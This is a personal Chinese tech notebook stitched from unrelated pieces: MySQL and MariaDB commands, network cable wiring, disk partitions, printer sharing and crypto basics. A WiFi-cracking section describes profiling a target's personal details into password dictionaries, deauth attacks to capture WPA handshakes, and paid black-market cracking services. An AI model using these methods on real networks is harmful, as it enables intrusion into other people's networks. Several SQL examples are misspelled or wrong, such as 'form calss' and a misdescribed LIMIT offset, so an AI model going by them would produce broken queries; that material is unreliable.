电脑故障 开机转两秒 熄火 再也开不起 得重新把电源才能再开 主板问题

电脑蓝牙问题

’ Mac OS 平台:

  • 推荐软件: navicat premium
    • 新建连接
    • 设置 常规:
      • mysql 的用户名 和 密码
    • 设置 ssh
      • 使用 ssh 通道 打钩
      • 主机名 写 vps 的 ip
      • 端口 默认22, 或者填你修改后的 ssh 端口号
      • 用户名 vps 的登录账号和密码.

MySQL

MySQL 重要目录 

数据库文件 /var/lib/mysql/
配置文件  | /usr/share/mysql |(mysql.server命令及配置文件) 相关命令 | /usr/bin | (mysqladmin mysqldump等命令)
启动脚本 | /etc/rc.d/init.d/ |(启动脚本文件mysql的目录)

修改登录密码

  • 命令 usr/bin/mysqladmin -u root password ‘new-password’
  • 格式:mysqladmin -u用户名 -p旧密码 password 新密码

    • 例: 给root加密码123456
      root@test1 local# /usr/bin/mysqladmin -u root password 123456
      注:因为开始时root没有密码,所以-p可以省略。

    • 测试是否修改成功
      root@test1 local# mysql -u root -p 
      Enter password: (输入修改后的密码123456)

MySQL 常用操作

**注意:MySQL中每个命令后都要以分号;结尾。 **      ### 显示数据库  

    mysql> show databases;   > - Mysql 自带有几个数据库 - Mysql库非常重要,它里面有MySQL的系统信息  
我们改密码和新增用户,实际上就是在这个库中进行操作。

显示数据库表

mysql\> use mysql; (先选择要使用的数据库)  
mysql\> show tables; (显示数据库中的表)    ### 显示数据表内容

显示表内容:  select * from 表名;  

    例:显示 mysql库 中 user表 的内容。(MySQL用户都在此表中)  

    Select * from user;  

新建数据库 

    例:创建一个名字xujian 的数据库.

        create database xujian; 

新建表结构.

  • 只是帮你建一个表格框架,没有具体内容.
  • 比如 明珠医院 护士联系表
    • 只建立 工号 姓名 性别 学位 数据类型/长度 和默认值.
    • 不会有哪个护士的具体工号名字 什么的.
  • 命令格式 :
  • create table 表名 (字段名 类型 数据宽度 是否为空 是否主键 自动增加 默认值)
    实例: create table mzyy (
    >id int(4) not null primary key auto_increment, >name char(20) not null, >sex int(4) not null default ‘0’, >degree double(16,2));

      以上例子不能直接复制运行. 
      原因是这个命令实在太长了,为了书写好看 把它分成好几行了.
      终端里你 可以用 \+回车键 来另起一行 而不打断输入命令.
    

修改表结构 ( 增加,删除,修改字段 )

  • 添加字段: 格式: alter table 表名 add 字段 类型 其他;

      例: alter table mzyy add phone int(4) not null;
    
  • 删除字段: 格式: alter table 表名 drop index phone;

  • 修改字段:
    格式: alter table 表名 chande 原名 新名 类型; 例子

查看表结构

mysql\> describe mzyy;


+-------+---------------+-----+---------+----------------+
| Field |       Type    | Null | Key | Default | Extra   |
+-------+---------------+-----+---------+----------------+
| id   | int(4)       | NO | PRI | NULL  | auto_increment |
| name  | char(20)     |  NO |   | NULL   |        |
| sex   | int(4)       |  NO |   | 0      |        |
| degree | double(16,2) | YES |   | NULL   |        |
+-------+---------------+-----+---------+----------------+     #### 表格内容 - 新加内容: insert into 表格名 values('字段1','字段2','字段3','字段4');
  • insert into mzyy values(‘219’,’xujian’,’男’,’1971-10-01’);

  • 删除内容: delete from table 表格名 where id=1;

数据类型:

整数运算速度快 占内存少. 比较实用. 比如 123

包含小数点 要用 single double currency

数据类型 大小
(字节)
精度范围
varchar   汉字用这个
Byte
字节型
1 0-255
Boolean
布尔型/逻辑型
2 True 或 False
Integer
整数型
2 -32,768 到 32767
Long
长整型
4 -2,147,483,648 ~ 2,147,483,647
Single
单精度浮点型
4 负数范围:-3.402823E38 ~ -1.401298E-45
正数范围:1.401298E-45 ~ 3.402823E38
Double
双精度浮点型
8 负数范围:
-1.797,693,134,862,32E308 ~-4.940,656,458,412,47E-324
正数范围:
4.940,656,458,412,47E-324 ~1.797,693,134,862,32E308
Currency
货币类型
8 -922,337,203,685,477.5808 ~ 922,337,203,685,477.5807
Date
日期型
8 100年1月1日~9999年12月31日

    可用select命令来验证结果。   mysql> select * from name;   +—-+——+——+————+   | id | xm  | xb  | csny    |   +—-+——+——+————+   | 1 | 张三 | 男  | 1971-10-01 |   | 2 | 白云 | 女  | 1972-05-20 |   +—-+——+——+————+   8、修改纪录   例如:将张三的出生年月改为1971-01-10   mysql> update name set csny=’1971-01-10’ where xm=’张三’;   9、删除纪录   例如:删除张三的纪录。   mysql> delete from name where xm=’张三’;   10、删库和删表    drop database 库名;    drop table 表名;   九、增加MySQL用户   格式:grant select on 数据库.* to 用户名@登录主机 identified by “密码”  例1、增加一个用户user_1密码为123,让他可以在任何主机上登录,并对所有数据库有查询、插入、修改、删除的权限。首先用以root用户连入MySQL,然后键入以下命令:   mysql> grant select,insert,update,delete on . to user_1@”%” Identified by “123”;  例1增加的用户是十分危险的,如果知道了user_1的密码,那么他就可以在网上的任何一台电脑上登录你的MySQL数据库并对你的数据为所欲为了,解决办法见例2。   例2、增加一个用户user_2密码为123,让此用户只可以在localhost上登录,并可以对数据库aaa进行查询、插入、修改、删除的 操作(localhost指本地主机,即MySQL数据库所在的那台主机),这样用户即使用知道user_2的密码,他也无法从网上直接访问数据库,只能 通过MYSQL主机来操作aaa库。   mysql>grant select,insert,update,delete on aaa.* to user_2@localhost identified by “123”;   用新增的用户如果登录不了MySQL,在登录时用如下命令:   mysql -u user_1 -p -h 192.168.113.50 (-h后跟的是要登录主机的ip地址) 我们知道,在ms sql server中或access中,
若要查询前10条记录,使用top 10即可,
但在mysql中 不支持这个写法,它用limit 10。 

我们可以利用MySQL中 SELECT支持的一个子句——LIMIT——来完成这项功能。 
LIMIT可以实现top N查询,也可以实现M至N(某一段)的记录查询,具体语法如下: 
SELECT  FROM MYTABLE
ORDER BY AFIELD 
LIMIT offset, recnum
其中offset为从第几条(M+1)记录开始,recnum为返回的记录条数。例: 
select 
from mytable
order by afield 
limit 2, 5 
即意为从第3条记录开始的5条记录。       十一. 常见问题: 1.”Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’ “错误 解决方法: 这是没启动mysql的守护进程,执行service mysqld start就行了  

Mysql Tool: phpmyadmin, navicast ….

Mysql 连接方式:

  • tcp/ip (通过ip/ssh 连接)
  • socket (通过一个文件连接)

    数据库工具和mysql 服务器在同一电脑时可用,速度比tcp 快 socket 文件路径: 终端:mysql_config 一般在 /tmp/mysql.sock

数据库管理

Mysql 字段类型:

  • 整数: tinyint smallint int bigint
  • 小数: float double decimal(m,d) m 整个位长.d小数位长
  • 字符: char varchar 弹性大小 最长255字符. 再长就用 备注型.
  • 日期:
    • datetime 日期+时间 2008 0918 12 00
    • date 只有日期 无时间 2008 0918
    • timestamp 日期转为数字.精度高.
  • 备注: tinytext text longtext

Mysql 基本操作:

建库: create database xx; 删库: drop database xx;

汉字变问好:基本是 编码问题. 选 utf8 就可以了

``语句里面 必须用’’ 而不是 ```

改字段: rename table 原字段 to 新字段 删字段: alert table drop 原字段 插字段: alert table add 新字段 .. after 原字段.

不能建空表. 必须写上一个字段 才能建表成功. 只有一个字段的话. 这个字段必须是主键: primary key 主键字段下面的值是不能重复的

CREATE TABLE port (   id int(10) not null AUTO_INCREMENT, PRIMARY KEY (id) )

这个就是创建表的 最简单命令. auto—increment 就是自动增加字段

select * form calss 查询 class 表的 所有信息.

select id,uid from calss 查询 class 表里面 id 和 uid 的信息.

selece yourClassname as name from class. 别名. 名字太长了 浏览器显示不下 就要左右拖动 很麻烦. 这时候可以 把那个很长的名字.暂时变成很短的名字.方便浏览.

查询 某几行 的数据. 而不是整个数据表.

select * form calss where id=2 只会出现 第二行信息.

等于 = 不等 <> 包含 in 不含 not in 匹配: like 范围内: between 范围外: not between and or ()

select * form calss where id in (1,2,4) 只显示 124 行. 不显示第三行. select * form calss where id not in (1,2,4) 显示不包含 124 行的结果

select * form calss where 'uid' like '%王%' 显示 uid 中 含有王字的 结果. % 前后匹配

select * form calss where id between 1 and 3 显示1-3的内容 select * form calss where id not between 1 and 3 显示1-3之外的内容

select * form calss where id=1 and 'name'='徐' 同时满足 两个条件的 结果.

排序语句:order by 正序(默认值 ASC )/倒序 desc 这个肯定在 limit 之前. 也就是倒数第二的位置.

select * form calss order by 'regdate' desc 一般是按照id 排序. 可以自定义. 这个 就是按照 regdate 进行倒序排列.

select * form calss order by 'regdate' desc, id desc 多个参数. 多重排列. 同时满足….

指针 Limit: 永远在语句最后面. 显示多少条. 范围: select * form calss limit 3 显示前3条. 默认是第一天开始. select * form calss limit 0,3 显示前3条.

select * form calss limit 2,3 显示2-3 条.

分组语句: group by select * form calss group by 'remark' 按照 remark 字段 来分组: 发现只有 学生 和工人 .

select 排序 分组 指针查询 计算 insert update 修改/更新 delete

Mysql 函数

count() 统计函数 有多少条信息. max() 最大值 数字和日期有效. min() 最小值 avg() 平均值 sum() 累计值

select count(*) form calss 这个表有多少条信息.

select max(id) form calss id 中的 最大值.

插入语句 注意字段类型.免得乱码 insert into 表名(字段,字段2…)values(值,值2….)

id 字段累加字段 可以不写具体数字. 但是 要留’’.

值: now() 可以自动插入当前时间

更新语句: update class set id=3 where id=2 把id 2 改成3 .

删除语句 delete from class where id=1

phpMyAdimn:

新建数据表. 输入名字. 和 字段数(几行). 就可以了.

具体小数字段: 类型: decimal 长度 8,3 就是总长8为. 3位是小数点.

MySQL Cluster 数据库集群

高性能 可扩展性 集群化数据库产品

研发的初衷 就是满足许多行业里 最严酷的应用要求…. 要求数据库可靠性 99.999%

是基于无共享的可由多台服务器组成的、同时对外提供数据管理服务的分布式集群系统。 通过合理的配置,可以将服务请求在多台物理机上分发实现负载均衡 ; 同时内部实现了冗余机制,在部分服务器宕机的情况下,整个集群对外提供的服务不受影响,从而能达到99.999%以上的高可用性。

MySQL Cluster设计之初出于性能考虑,将数据完全存放在内存当中,因此MySQL Cluster可以当作一种分布式的内存数据库。

建议: 1.若是双主复制的模式,不用做数据拆分,那么就可以选择MHA或 Keepalive 或 heartbeat 2.若是双主复制,还做了数据的拆分,则可以考虑采用Cobar; 3.若是双主复制+Slave,还做了数据的拆分,需要读写分类,可以考虑Amoeba;

先了解一下你是否应该用MySQL集群。 减少数据中心结点压力和大数据量处理,采用把MySQL分布,一个或多个application对应一个MySQL数据库。把几个MySQL数据库公用的数据做出共享数据,例如购物车,用户对象等等,存在数据结点里面。其他不共享的数据还维持在各自分布的MySQL数据库本身中。

Management Node(管理节点):mysql集群全局的管理者,整个集群只有一个management node,负责管理集群架构中的其他Nodes(节点),包括控制其他节点的启停,查看节点状态等。另外还维护了集群的全局配置信息,因此在整个集群环境中应该优先于所有节点启动。管理节点启动命令为ndb_mgmd. Data Node(数据节点):数据的存储节点,集群中会有多个Data Node,每个节点存储数据多个数据副本。虽然mysql集群可以设置副本数量为1,即集群没有数据冗余,所有节点的只存储各自数据片段的副本,但是这样的集群也就失去了意义,所以为了保证高可用性,建议最好是设定副本数量至少为2,或者更大,一份用于存储,一份作为冗余。系统默认值为2. 冗余副本数量越大,需要的节点数就会越多。Data node 节点启动命令为ndbd.关于存储副本的概念参考图-02(来自官网)也许有助于理解副本、冗余的含义和作用。

如果单MySQL的优化始终还是顶不住压力时, 这个时候我们就必须考虑MySQL的高可用架构(很多同学也爱说成是MySQL集群)了, 目前可行的方案有:

一、MySQL Cluster
优势:可用性非常高,性能非常好。每份数据至少可在不同主机存一份拷贝,且冗余数据拷贝实时同步。但它的维护非常复杂,存在部分Bug,目前还不适合比较核心的线上系统,所以这个我不推荐。

二、DRBD磁盘网络镜像方案
优势:软件功能强大,数据可在底层快设备级别跨物理主机镜像,且可根据性能和可靠性要求配置不同级别的同步。IO操作保持顺序,可满足数据库对数据一致性的苛刻要求。但非分布式文件系统环境无法支持镜像数据同时可见,性能和可靠性两者相互矛盾,无法适用于性能和可靠性要求都比较苛刻的环境,维护成本高于MySQL Replication。另外,DRBD也是官方推荐的可用于MySQL高可用方案之一,所以这个大家可根据实际环境来考虑是否部署。

三、MySQL Replication
在实际应用场景中,MySQL Replication是使用最为广泛的一种提高系统扩展性的设计手段。众多的MySQL使用者通过Replication功能提升系统的扩展性后,通过简单的增加价格低廉的硬件设备成倍 甚至成数量级地提高了原有系统的性能,是广大MySQL中低端使用者非常喜欢的功能之一,也是许多MySQL使用者选择MySQL最为重要的原因。 比较常规的MySQL Replication架构也有好几种,这里分别简单说明下 MySQL Replication架构一:              常规复制架构–Master-slaves,是由一个Master复制到一个或多个Salve的架构模式,主要用于读压力大的应用数据库端廉价扩展解决方案,读写分离,Master主要负责写方面的压力。

MySQL Replication架构二:              级联复制架构,即Master-Slaves-Slaves,这个也是为了防止Slaves的读压力过大,而配置一层二级 Slaves,很容易解决Master端因为附属slave太多而成为瓶劲的风险。
MySQL Replication架构三:              Dual Master与级联复制结合架构,即Master-Master-Slaves,最大的好处是既可以避免主Master的写操作受到Slave集群的复制带来的影响,而且保证了主Master的单点故障。
以上就是比较常见的MySQL replication架构方案,大家可根据自己公司的具体环境来设计 ,Mysql 负载均衡可考虑用LVS或Haproxy来做,高可用HA软件我推荐Heartbeat。   MySQL Replication的不足:           如果Master主机硬件故障无法恢复,则可能造成部分未传送到slave端的数据丢失。所以大家应该根据自己目前的网络规划,选择自己合理的Mysql架构方案,跟自己的MySQL DBA和程序员多沟涌,多备份(备份我至少会做到本地和异地双备份),多测试,数据的事是最大的事,出不得半点差错,切记切记。

MySQL - Mac

install: (二选一) -

  • brew install mysql (recommand)

    • 下载安装: .dmg安装包下载链接

      Mysql 下载地址 下载 mysql-5.6.10-osx10.7-x86_64.dmg安装包; 

      2.安装软件包位于硬盘映象(.dmg)文件中,必须首先双击搜索起中的图标来安装该文件。

      注释:在继续安装前,一定要使用MySQL管理器应用程序(在Mac OS X服务器上)或通过命令行的mysqladmin shutdown关闭所有运行MySQL服务器实例。 

      MySQL的Mac OS X PKG安装到/usr/local/mysql-VERSION, 并且还会安装一个符号连接,/usr/local/mysql,指向新的位置。 如果有/usr/local/mysql目录,首先将它改名为/usr/local/mysql.bak。 安装完后,安装器执行mysql_install_db在MySQL数据库中创建授权表。

启动 MYSQL: 二选一

  • 系列偏好设置 → MySQL → 启动服务
    • sudo /usr/local/mysql/support-files/mysql.server start

终端登陆 MySQL:

/usr/local/mysql/bin/mysql
/usr/local/mysql/bin/mysql -u root -p

  • 快捷登陆: 只要输入;mysql就能登陆 mysql了.
    键盘映射软件 → ;mysql 映射到 /usr/local/mysql/bin/mysql

  • 终端退出MySQL: q   

*MySQL- uninstall 如果之前装过 mariadb 的. V/ 下面的 mariadb 删掉!!!!

MariaDB 编译安装: 官网连接

官网下载/解压/进入文件夹:

wget http://mirror.aarnet.edu.au/pub/MariaDB//mariadb-10.1.8/source/mariadb-10.1.8.tar.gz ; tar -xzf mariadb-10.1.8.tar.gz ; cd mariadb-10.1.8

安装 cmake 编译工具 官网

  • mariadb 由 cmake 编译而成.
  • 编译 cmake 又需要 安装几个相应组件.
apt-get install gcc

sudo apt-get install build-essential

apt-get install libncurses5-dev
上面三条是安装相应组件
下面是安装 下载 编译 cmake
wget https://cmake.org/files/v3.4/cmake-3.4.0-rc2.tar.gz ; tar -xzf cmake-3.4.0-rc2.tar.gz ; cd cmake-3.4.0-rc2

./configure ; make ; make install

然后 回到 mariadb 目录 进行编译安装 (安装很慢的.)

cd ..   ; cmake . ; make ; make install
  • cmake指定编译选项的方式不同于make
  • 编译不成功 再次编译需要清楚缓存 再编译.
  • rm CMakeCache.txt

安装好 后 mysql -V 查看版本

以下會介紹在 Debian 安裝及設定 MariaDB Server 的步驟:

  1. 安裝 “python-software-properties” 套件

    apt-get install python-software-properties

    apt-key adv –recv-keys –keyserver keyserver.ubuntu.com 0xcbcb082a1bb943db

  2. 加入 MariaDB 官方 repository:

    add-apt-repository ‘deb http://mariadb.biz.net.id//repo/10.1/debian sid main’

    apt-get update

  3. 安裝 MariaDB Server 及 Client:

    apt-get install mariadb-server mariadb-client

    安裝時系統會詢問新的 MariaDB root 密碼, 建議設定新的密碼, 不要用預設的空密碼。 完成安裝後, 可以用以下指令嘗試連接到 MariaDB, 密碼是剛剛設定的密碼。如果可以成功連接, 那便表示安裝成功了。

    mysql -u root -p

    Quick Adsense WordPress Plugin: http://quicksense.net/

mac os 安装 mariadb

brew install cmake

brew install gcc

下载 mariadb 解压

wget http://mirror.aarnet.edu.au/pub/MariaDB//mariadb-10.1.8/source/mariadb-10.1.8.tar.gz ; tar -xzf mariadb-10.1.8.tar.gz ; cd mariadb-10.1.8

cmake .
make
make install

网线,八根铜导线, 为了减少电磁信号的相互干扰, 每两根按一定的密度缠绞在一起。这样, 在传输电号时相互之间辐身出的电波就会相互抵消, 有效的消除干扰。双绞线这个名字也是因为这样的结构而引伸出来的。在外部, 有一层韧性及高的保护外皮保护。双绞线最早的使用是被用于电话信号的传输, 后来才被渐渐引入到数字信号的传输当中, 在很久以前, 我们基本上都是使用的3 类双绞线, 最大只能达到16Mbps 的带宽, 而现在我们在计算机网络中广泛使用的都是超五类双绞线及六类双绞线。最大能达1000Mbps 的带宽。双绞线唯一的缺点就是传输距离较短, 只能达到100 米, 所以在布线的时候, 如果使用星型拓朴结构,覆盖的范围只能达到200*200 米。   1000M 网卡数据传输是双向的, 需要使用四对线, 即8 根芯线。100M 以下, 一般使用1 、2 、3 、6 , 四根线。按标准是橙色、绿色共四根线。其中1 、3 一组,2 、6 一组4 、5 为备用线7 、8 则为电话线。 T568A 标准连线顺序从左到右依次为:1 - 绿白、2 - 绿、3 - 橙白、4 - 蓝、5- 蓝白、6- 橙、7- 棕白、8- 棕。   T568B 标准连线顺序从左到右依次为:1 - 橙白、2 - 橙、3 - 绿白、4 - 蓝、5- 蓝白、6- 绿、7- 棕白、8- 棕。 1 输出数据(+) 2 输出数据(-) 3 输入数据(+) 4 保留为电话使用 5 保留为电话使用 6 输入数据(-) 7 保留为电话使用 8 保留为电话使用 由此可见, 虽然双绞线有8 根芯线, 但在目前广泛使用的百兆网络中, 实际上只用到了其中的4 根, 即第1 、第2 、第3 、第6 , 它们分别起着收、发信号的作用。于是有了新奇的4 芯网线的制作, 也可以叫做1 -3 、2-6 交叉接法, 这种交叉网线的芯线排列规则是: 网线一端的第1脚连另一端的第3 脚, 网线一端的第2 脚连另一端的第6 脚, 其他脚一一对应即可, 也就是在上面介绍的交叉线缆制作方法中把多余的4根线抛开不要。

Net cable

网线,八根铜导线.

为了减少电磁信号的相互干扰, 每两根按一定的密度缠绞在一起。这样,在传输电号时相互之间辐身出的电波就会相互抵消, 有效的消除干扰。

为了更好的屏蔽: 用十字骨架 把四对线隔离开.

双绞线这个名字也是因为这样的结构而引伸出来的。在外部, 有一层韧性及高的保护外皮保护。双绞线最早的使用是被用于电话信号的传输, 后来才被渐渐引入到数字信号的传输当中,

在很久以前, 我们基本上都是使用的3 类双绞线, 最大只能达到16Mbps 的带宽, 而现在我们在计算机网络中广泛使用的都是超五类双绞线及六类双绞线。最大能达1000Mbps 的带宽。

双绞线唯一的缺点就是传输距离只能达到100 米, 所以在布线的时候, 如果使用星型拓朴结构,覆盖的范围只能达到200*200 米。   1000M 网卡数据传输是双向的, 需要使用四对线, 即8 根芯线。100M 以下, 一般使用1 、2 、3 、6 , 四根线。按标准是橙色、绿色共四根线。其中1 、3 一组,2 、6 一组4 、5 为备用线7 、8 则为电话线。

T568A 标准线序(从左到右) 1绿白;2绿;3橙白;4蓝;5蓝白;6橙;7棕白;8棕.   T568B 标准线序 (从左到右) 1橙白;2橙;3绿白;4蓝;5蓝白;6绿;7棕白;8棕.

1 输出数据(+) 2 输出数据(-) 3 输入数据(+) 4 保留为电话使用 5 保留为电话使用 6 输入数据(-) 7 保留为电话使用 8 保留为电话使用

百兆网络:实际只用了4 根: 1236. 只要这四根先通了就好了!!! 其他四根 可以给两对电话用

千兆网络: 双向传输 8根全用!!!!

硬盘常识

硬盘: 扇区 和 磁柱 组成. 每个扇区 512 byte 第一个扇区 特别重要: 包含了

  • 主要启劢记录区(Master Boot Record, MBR): 如果按照多系统 这个 就很重要了.!!! 可以安装开机管理程序癿地方,有 446 bytes
    - 分区表(partition table):记录整颗硬盘分区状态,有 64 bytes

    . 由二分割表就叧有 64 bytes 而已,最多叧能容纳四笔分割癿记录, 这四个分割癿记录被称为主要 (Primary)戒延伸(Extended)分割槽。 根据上面癿图示不说明,我们可以得到几个重点信息:

      其实所谓癿『分割』叧是针对那个 64 bytes 癿分割表迚行设定而已!

      硬盘默讣癿分割表仅能写入四组分割信息

      这四组分割信息我们称为主要(Primary)戒延伸(Extended)分割槽

      分割槽癿最小单位为磁柱(cylinder)

      当系统要写入磁盘时,一定会参考磁盘分区表,扄能针对某个分割槽迚行数据癿处理 咦!你会丌会突然想到,为啥要分割啊?基本上你可以这样思考分割癿角度:

  cpu  GHz  Hz 秒分之一的意思  主板最重要的 就是芯片组了  以前,   芯片组分两个桥接器来控制各个组件的沟通 北桥 负责 连接数度较快的  cpu 内存 显卡等组件 南桥 负责 连接速度较慢的 硬盘 usb 网卡 等 CMOS 记录主板各组件的重要参数  包括 系统时间 cpu电压 频率    这些记录要电 所以主板上有电池. BIOS 开机时候 载入cmos里面的参数   也能修改cmos参数.        解决问题  数据库查询 how to    或者FAQ  常问问题. TLDP(The Linux Documentation Project), 他几乎列出了所有 Linux 上面可以看到 癿文献数据,各种 How-To 癿作法等等,虽然是英文癿,丌过,很有参考价值!   CLDP 的全名是 Chinese Linux Documentation Project    中文技术文件开机转两秒 熄火 再也开不起 得重新把电源才能再开 主板问题

电源好坏: Power Status

24孔那排 中间附近 有绿色和黑色两根电线 用电线连通( 短路 )     电源风扇转 就是大致上电源是好的o

打印

先共享打印机

再 更改网络位置 家庭组/工作网络 选择工作网络

启用 网络发现 也就是局域网 在共享设置下面 高级共享设置

启用文件和打印机共享

设置工作组 相同!! 一般xp 和win7 默认组是不一样的

xp 设置家庭或者办公网络 里面 一步步 安装一遍. 重启电脑

关闭密码保护共享 打印机的主机就不用加密码了.

防火墙 关闭. 开启guest账户 控制面板-安全中心-防火墙- 例外 下面 .文件和打印共享 打勾.

资源管理器 工具-文件夹选项-查看-使用简单文件共享 (这个关掉)

重启电脑?

还有问题 ? 看 相关服务开启没用 资源服务器 - 服务和应用程序-服务 -server-启动 -重启电脑.

xp 和 win7 不同组 情况下连接, 网上邻居-添加网上邻居-浏览整个网络 找到你要的 然后连接.

硬盘 - 分区表

硬盘 → 有多个磁盘盘面, 每个盘面一个磁盘读取头. → 盘面有很多磁柱 类似操场 有很多跑道. → 磁柱(跑道250米)有很多扇区(sector,一米)组成 → 每个扇区 512 byte = 0.5kb

磁头只选择跑道,靠磁盘旋转来读写数据.

硬盘的 第一个扇区特别重要 记录重要信息: 主要启动记录区 (master boot record MBR) 安装开机管理程序的地方 446 byte 开机 读取这个区块内容 系统才能知道你的程序放在哪里 和 如何进行开机 如果安装多系统 :这个就非常非常重要而来

分区表信息 (partition table ) 记录硬盘的分割状态 64 byte 只能容纳 4笔 分区记录. 分区最小单位是磁柱. 多个主要分区 primary 一个扩展分区 extended

为什么要分区 : 增加效率. 比如分区 c 的磁柱范围是 1-100 当硬盘要读取c 盘里面数据的话 只会搜索1-100的磁柱 不会搜索100以外的磁

比如一个硬盘 4个区. 硬盘 /dev/hda 分区1/dev/hda1 分区2/dev/hda2 分区3/dev/hda3 分区4/dev/hda4

:

磁柱: cylinder (所有盘面):多个磁轨 垂直方向叠加起来的概念 就是磁柱. 磁轨: track (单个盘面): 磁头不动 磁盘转一圈 那个就是磁柱.

盘面 一个圆圈. 最外面

分区 partition

一个硬盘 多个分区

SATA硬盘1 /dev/sda SATA硬盘2 /dev/sdb usb /dev/sdc

PC AFK

电脑声音问题: 先卸载驱动 重新装.

网上邻居

2015年2月12日 星期四 下午5:14

  1. 看本地连接属性, 是否装了 网络文件和打印机共享.

  2. 控制面板-管理工具-本地安全策略-本地策略-用户权限 从网络访问此计算机 加入guest 从拒绝从网络访问这台计算机 删除 guest

  3. 重启. 根据WIFI使用者的个人信息 组成一个字典! 进行解密

生日组合. 姓名缩写(即开头字母). 邮箱 网名 姓名拼音. 手机号 恋爱对象. 暗恋对象. 重要的人.基友. 特殊日子(结婚纪念日.开始恋爱) 惯用字符,常用密码!!!.还有一些特殊号码.

等等资料生成一个字典.

举一个例子一位在安全圈混的一位小黑阔.具有很高的安全意识,知道AP要使用一个很强大的密码比如hack!@#1024.但他这个人比较懒到那都使用着这个密码.然后这位黑阔在某个论坛某个网站注册了账号习惯性的输入了引以为傲的强密码.然后这些网站被黑(拖库)社工师根据密码生成了一个字典(根据泄露出来密码进行组合)然后就不用我多说了.这样的例子不少!《剑鱼行动》中那个黑客是如何在一分钟进入国家安全信息网的啊。就是网络上工作着为他收集密码的程序。而他就是通过这样的字典迅速破解的。而这样的字典真正的黑客也是不愿意发布出来的。## 有一定联系性规律性密码 例子:有人曾破如此一个WPA-PSK 密码IX1V7051242.如果你不了解这个密码的背景你肯能会觉得很神奇,这么强的密码也能破。这样的密码是在西班牙的tele2 这样的AP 上有,而且这样AP_ESSID 里都有tele2 字段。这样的密码后面的8 位是相同的有真正的密码只有四位。四位密码其密码空间很小很容易被字典攻击出来。这个也是AP的默认密码。所以这个密码被破解是因为AP本身产生的随机密码就是个弱密码。是AP的厂家自己降低了安全性的做法。例如有一些餐厅.酒店.事业单位.等等.SSID总会改成名字的拼音.密码当然是跟ssid相关的.最常见的就是这个单位的电话号码!## 抓取握手包破解

提前条件是有客户端连接wifi.

就简单介绍下原理吧 一个TCP包走进一家酒吧,对服务员说:“给我来瓶啤酒”。服务员说:“你要来瓶啤酒?”。TCP包说:“是的,来瓶啤酒”服务员说:“好的”

1、当一个无线客户端与一个无线AP连接时,先发出连接认证请求(握手申请:你好!) 2、无线AP收到请求以后,将一段随机信息发送给无线客户端(你是?) 3、无线客户端将接收到的这段随机信息进行加密之后再发送给无线AP (这是我的名片) 4、无线AP检查加密的结果是否正确,如果正确则同意连接 (哦~ 原来是自己人呀!) 通常我们说的抓“握手包”,是指在无线AP与它的一个合法客户端在进行认证时,捕获“信息原文”和加密后的“密文”。

利用Deauth验证攻击。也就是说强制让合法无线客户端与AP被断开,当它被从WLAN 中断开后,这个无线客户端会自动尝试重新连接到AP上,在这个重新连接过程中,数据包通信就产生了,然后利用airodump捕获一个无线路由器与无线客户端四次握手的过程,生成一个包含四次握手的cap包。然后再利用字典进行暴力破解.

另外也提下关于这行的黑色产业.当我们抓到带数据的握手包时.这时候黑色产业往往会帮我们很大的忙. GPU速度也是我们普通设备跑密码的速度上百倍.所以我是不建议自己跑密码的! 吧包发给那些团队,跑的出密码才收10-30rmb不等的费用(根据需要跑的密码定价分普通包还有金刚包,普通包的字典只使用十个G的字典.金刚包会使用五十G以上的字典收费也会偏贵些)不过也有一些团队会收取电费(既跑不跑的出密码都会收取一定的费用)…另外这样的设备非常耗电不是一般人的消耗的起的哦.一般闲置的时候会利用这样的机器挖矿

密码分析

世界最早加密办法: 在一根固定长度 和固定粗细的木棍上 用布条 上下绕圈包裹,然后在木棍外的布条上写字.当去掉木棍 平铺布条时,你就不知道写的内容了.

当初 电脑的出现 就是为了破解密码.

RSA 算法

数据加密的过程 就是对原来的明文文件或者数据,按照某种算法进行处理,使其成为一段不可读的代码

互联网把全世界连在一起, 为了能安全的运用互联网,只能选择数据加密和基于加密技术的 数字签名.

公开密钥(非对称密钥):

     该算法 使用两个不同的密钥: 加密密钥 和 解密密钥

    加密密钥:             公开  也叫 公开密钥 简称 公钥

    解密密钥:             保密  也叫私有密钥 简称  私钥

                  某用户 用公开的加密密钥 加密的信息,只有用该用户的解密密钥 才能解密.

数字签名: (公钥数字签名 / 电子签章 )

是一种类似写在纸上的物理签名. 但是使用了 公钥加密领域的技术实现,用于鉴别数字信息的方法.

每个人都有一对钥匙,一个只有本人知道(密钥),一个公开(公钥) 签名的时候用 密钥 ,验证签名的时候用 公钥. 公钥必须向 身分认证机构 注册,以防别人假冒你. 注册后 身份机构 给你发一数字证书. 对文件签名后 你把数字证书和加签名的文件 发给接受者. 接受者 向身份机构 求证 是否真的是用你的密钥加密的文件.

一套数字签名 通常定义 两种互补的运算 : (私钥)用于签名 (公钥)用于验证. 公钥和私钥是互补的, 也就是说 一个公钥只能配一个私钥.

签名: 文档 用签名者的私钥进行加密. 变成数字签名的数据. 验证: 数据签名的文档 用签名者的公钥进行解密 ,能解出来 就说明这个签字是那个签名者的.

数字签名 就是只有信息的发送者才能产生的 别人无法伪造的一段 数字串, 这段数字串 同时 也是对信息的发送者 信息真实性的 一个有效证明. 如果企业的数字文件被盗 坏人就能捆绑木马到官方的exe 程序, 后患无穷.

邮件的 数字签名是有 法律效力的! 数字签名 不是邮件最下面落款 名字.

是非对称密钥加密技术 与 数字摘要技术的应用

数字签名的文件的完整性 是很容易验证的 而且数字签名 具有不可抵赖性.

DSS: 数字签名标准 digital signature standard
美国政府 用来 定义 数字签名算法的 一种标准

XML数字签名: 对XML格式的数据 进行数字签名. 以保证 报文的完整性,不可否认性,以及提供身分认证信息.

NAS 美国国家安全局

DSA 数字签名算法 : 用数字通信形式 达到签名的功能,目的是证明 通信双方的身份,来保证通信的安全.

数据项: 是数据的基本单位, 一个数据元素 可以有多个数据项组成,数据项是数据 不可分割的最小单位.

Hash 函数 Hash 一般翻译做散列,也有直音译”哈希” 就是把任意长度的输入,通过 散列 算法 变成固定长度的输出,该输出就是散列值. 不同的输入可能会散列成相同的输出,但是 不可能从散列值来唯一的确定输入值.

好的hash算法 可以使得 两个不一样的文件 但是有相同的哈希值的 输入 不能通过算法实现.

Hash 算法: md5 和sha1 是目前最广泛的算法 都是以md4 为基础设计的. 将任意长度的二进制值 映射位 较短的 固定长度的二进制值. 短的值 就是 哈希值.

